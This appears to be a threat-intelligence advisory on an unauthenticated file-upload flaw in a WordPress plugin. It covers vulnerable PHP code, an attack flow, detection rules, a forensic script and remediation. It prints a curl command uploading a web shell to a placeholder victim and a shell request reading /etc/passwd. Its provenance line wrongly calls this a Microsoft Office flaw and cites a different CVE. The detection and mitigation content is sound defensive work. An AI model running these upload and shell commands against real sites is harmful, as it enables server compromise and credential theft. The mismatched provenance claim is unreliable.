CVE-2026-104028: WordPress Anton Extensions Plugin Unauthenticated Arbitrary File Upload to RCE
Critical unauthenticated arbitrary file upload in Anton Extensions WordPress plugin allowing immediate PHP web shell deployment and server compromise.
HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EVALUATION
Target:Anton Extensions for WordPress โ Unauthenticated AJAX Import Subsystem CVSS v3.1 rates this vulnerability at 9.8 (CRITICAL) because it requires no privileges, no user interaction, and allows unauthenticated remote code execution. The Hermes Threat Score (HTS) confirms 95 (CRITICAL). In web CMS environments, unauthenticated arbitrary file upload vulnerabilities in third-party plugins are aggressively targeted by automated threat actors and botnets to drop persistent web shells, enlist servers into DDoS networks, and exfiltrate database credentials from wp-config.php.
CVE-2026-104028: WordPress Anton Extensions Plugin Unauthenticated Arbitrary File Upload to RCEVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Architecture Matrix
Section titled โ1. Technical Context & Affected Architecture MatrixโAnton Extensions provides shortcodes, custom post types, and demo layout importers for corporate and portfolio WordPress themes.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-104028 | Canonical vulnerability tracking identifier |
| Affected Product | Anton Extensions for WordPress | WordPress theme companion and layout import plugin |
| Vulnerable Component | inc/importer.php | AJAX demo content file upload and extraction routine |
| Impacted Versions | Versions up to and including 1.2.2 | Internet-facing WordPress installations |
| Corrective Release | 1.2.3 | Enforced nonce validation, capability checks, and extension whitelisting |
| Vulnerability Class | Arbitrary File Upload / Missing Auth (CWE-434, CWE-306, CWE-862) | Direct move_uploaded_file of unchecked .php scripts |
| Execution Context | PHP 7.4 - 8.3 / Apache / Nginx / WordPress | Web server user context (www-data, nginx) |
2. Root Cause Analysis & Flaw Decomposition
Section titled โ2. Root Cause Analysis & Flaw DecompositionโVulnerable Code Path: Missing Capability & Nonce Verification
Section titled โVulnerable Code Path: Missing Capability & Nonce VerificationโIn inc/importer.php, the plugin exposes the AJAX handler to unauthenticated visitors by registering the nopriv_ hook, but completely omits authorization controls:
<?phpadd_action('wp_ajax_anton_extensions_import_data', 'anton_extensions_import_data');add_action('wp_ajax_nopriv_anton_extensions_import_data', 'anton_extensions_import_data'); // Exposed to unauthenticated users!
function anton_extensions_import_data() { // FLAW 1: No capability check (e.g. current_user_can('manage_options') is missing) // FLAW 2: No CSRF nonce validation (e.g. check_ajax_referer is missing)
if (isset($_FILES['import_file'])) { $upload_dir = wp_upload_dir(); $target_dir = $upload_dir['basedir'] . '/anton-imports/';
if (!file_exists($target_dir)) { wp_mkdir_p($target_dir); }
$filename = sanitize_file_name($_FILES['import_file']['name']); $target_file = $target_dir . $filename;
// FLAW 3: No file extension check (e.g. wp_check_filetype is missing) // Moves raw file directly into web root uploads! if (move_uploaded_file($_FILES['import_file']['tmp_name'], $target_file)) { wp_send_json_success(array('url' => $upload_dir['baseurl'] . '/anton-imports/' . $filename)); } } wp_send_json_error();}Exploit Execution Flow Diagram
Section titled โExploit Execution Flow DiagramโUnauthenticated Attacker WordPress Web Server Web Shell Staging Directory+-------------------------+ +------------------------+ +---------------------------+| POST /wp-admin/ | | admin-ajax.php | | /wp-content/uploads/ || admin-ajax.php | -----------> | Executes handler | -------> | anton-imports/pwn.php || action: anton_... | | without auth or nonce | | (Written with PHP code) || file: pwn.php | +------------------------+ +---------------------------++-------------------------+ | ^ | | 2. Direct HTTP GET Request v +----------------------------------------------------------------------------+ | GET /wp-content/uploads/anton-imports/pwn.php?cmd=cat+/etc/passwd | | Result: Full Operating System Command Execution under www-data |3. Attack Scenarios & Multi-Stage Execution Flow
Section titled โ3. Attack Scenarios & Multi-Stage Execution Flowโ- Endpoint Probing:
An automated scanner or attacker sends a multipart POST request to
/wp-admin/admin-ajax.phpspecifyingaction=anton_extensions_import_data. - Web Shell Upload:
The request payload includes a PHP script (
pwn.php) containing an arbitrary command execution wrapper:Terminal window curl -F "action=anton_extensions_import_data" \-F "import_file=@shell.php" \https://victim-site.com/wp-admin/admin-ajax.php - Execution & Web Server Compromise:
The server returns the JSON upload path:
{"success": true, "data": {"url": "https://victim-site.com/wp-content/uploads/anton-imports/shell.php"}}. The attacker accesses the file to execute commands, readwp-config.php, dump the MySQL database, and establish persistent reverse shells.
4. Forensic Triage & Multi-Platform Detection
Section titled โ4. Forensic Triage & Multi-Platform Detectionโtitle: Anton Extensions Arbitrary File Upload Exploit Attemptid: a8419201-9214-4b11-9201-202610402801status: experimentaldescription: Detects HTTP requests to WordPress admin-ajax.php invoking anton_extensions_import_data accompanied by script file uploads.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-104028author: Hermes Codex CTI Teamdate: 2026/10/12logsource: category: webserver product: apachedetection: selection_uri: cs-method: 'POST' cs-uri-stem|endswith: '/wp-admin/admin-ajax.php' selection_body: cs-uri-query|contains: 'action=anton_extensions_import_data' condition: selection_uri and selection_bodyfields: - c-ip - cs-method - cs-uri-stem - cs-uri-querylevel: criticaltags: - attack.initial_access - attack.t1190 - attack.persistence - attack.t1505.003// Azure Sentinel / Microsoft Defender for Web Apps// Detects newly created PHP files in the WordPress anton-imports upload directoryDeviceFileEvents| where FolderPath has "/wp-content/uploads/anton-imports"| where FileName endswith ".php" or FileName endswith ".phtml" or FileName endswith ".phar"| where ActionType == "FileCreated"| project Timestamp, DeviceName, InitiatingProcessAccountName, FolderPath, FileName, ActionType| order by Timestamp desc#!/usr/bin/env bash# Forensic check for staged web shells in Anton Extensions import folderecho "[*] Auditing WordPress uploads for executable files in anton-imports..."find /var/www/html/wp-content/uploads/anton-imports/ -type f \( -name "*.php*" -o -name "*.phtml" -o -name "*.phar" \) -ls 2>/dev/null5. Remediation Strategy & Mitigation Matrix
Section titled โ5. Remediation Strategy & Mitigation MatrixโUpstream Security Patch Application
Section titled โUpstream Security Patch ApplicationโUpgrade the Anton Extensions plugin to release 1.2.3 or higher:
wp plugin update anton-extensions --allow-rootTemporary Mitigation: Web Server Configuration Block
Section titled โTemporary Mitigation: Web Server Configuration BlockโIf an immediate patch cannot be applied, block PHP execution inside the anton-imports directory using Nginx or Apache .htaccess:
<FilesMatch "\.(php|phtml|phar|php[0-9])$"> Order Deny,Allow Deny from all</FilesMatch>